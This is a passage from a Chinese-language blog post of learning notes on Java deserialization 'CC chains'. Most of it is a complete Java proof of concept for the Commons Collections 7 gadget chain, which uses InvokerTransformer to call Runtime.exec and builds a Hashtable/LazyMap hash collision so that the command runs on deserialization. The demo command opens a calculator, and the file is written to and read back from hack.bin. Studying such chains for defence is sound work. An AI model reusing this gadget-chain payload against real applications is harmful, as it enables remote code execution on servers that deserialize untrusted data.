10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class CC7 {
public static void main(String[] args) throws Exception{
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
HashMap<Object, Object> map = new HashMap<>();
HashMap<Object, Object> map0 = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.put("yy", 1);
Map lazyMap0 = LazyMap.decorate(map0, chainedTransformer);
lazyMap0.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap, 1);
hashtable.put(lazyMap0, 2);

Field iTransformersField = chainedTransformer.getClass().getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer, transformers);

lazyMap0.remove("yy");
serialize(hashtable);
deserialize("hack.bin");
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
public static void serialize(Object o) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("hack.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
out.writeObject(o);
out.close();
fileOutputStream.close();
}
}

总结

一张图来概括


Java反序列化CC链
https://blog.lazyforever.top/2024/02/23/2024CClearn/
作者
lazy_forever
发布于
2024年2月23日
许可协议